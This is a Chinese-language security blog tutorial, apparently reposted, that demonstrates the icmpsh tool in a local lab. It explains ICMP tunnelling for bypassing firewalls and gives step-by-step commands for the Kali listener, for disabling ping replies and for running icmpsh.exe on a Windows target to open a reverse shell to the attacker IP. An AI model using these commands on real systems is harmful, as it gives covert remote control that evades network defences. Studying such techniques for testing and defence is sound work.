内网之ICMP隧道反弹shell——icmpsh
2022-9-17 09:10:46 Author: 编码安全研究(查看原文) 阅读量:27 收藏

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

ICMP隧道

最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMPping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

实验环境

Kali 192.168.0.199  win10 192.168.0.77

kali安装icmpsh

git clone https://github.com/inquisb/icmpsh.git

Kali安装icmpsh的依赖包

apt-get install python-impacket

这里踩了个坑,装不了好像,然后用了下面的方法安装

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/python setup.py install

执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1

用完记得把他改回0

Kali执行操作:python icmpsh_m.py 本机ip 目标ip

Win10直接icmpsh.exe -t 攻击机ip

Kali就可以接一个icmp反弹回来的shell

接收到了,但是有点乱码。。又是一个坑。。

解决方法是,去目标机输入CHCP 65001

输入后再重新执行

解决了

Emm。。实际上,弹了shell后在shell里执行也是可以的。。上面纯粹多此一举。。

文章仅供学习参考,过程也是利用本地虚拟机演示,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者和本公众号无关。

注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247495650&idx=2&sn=f3871c182e7012ee2426b4d43aac5657&chksm=ce64bc87f91335914f79200322ca299c53681c2a2d1d77cf013a0b9214fd6260ba63bf1b1efb#rd
如有侵权请联系:admin#unsafe.sh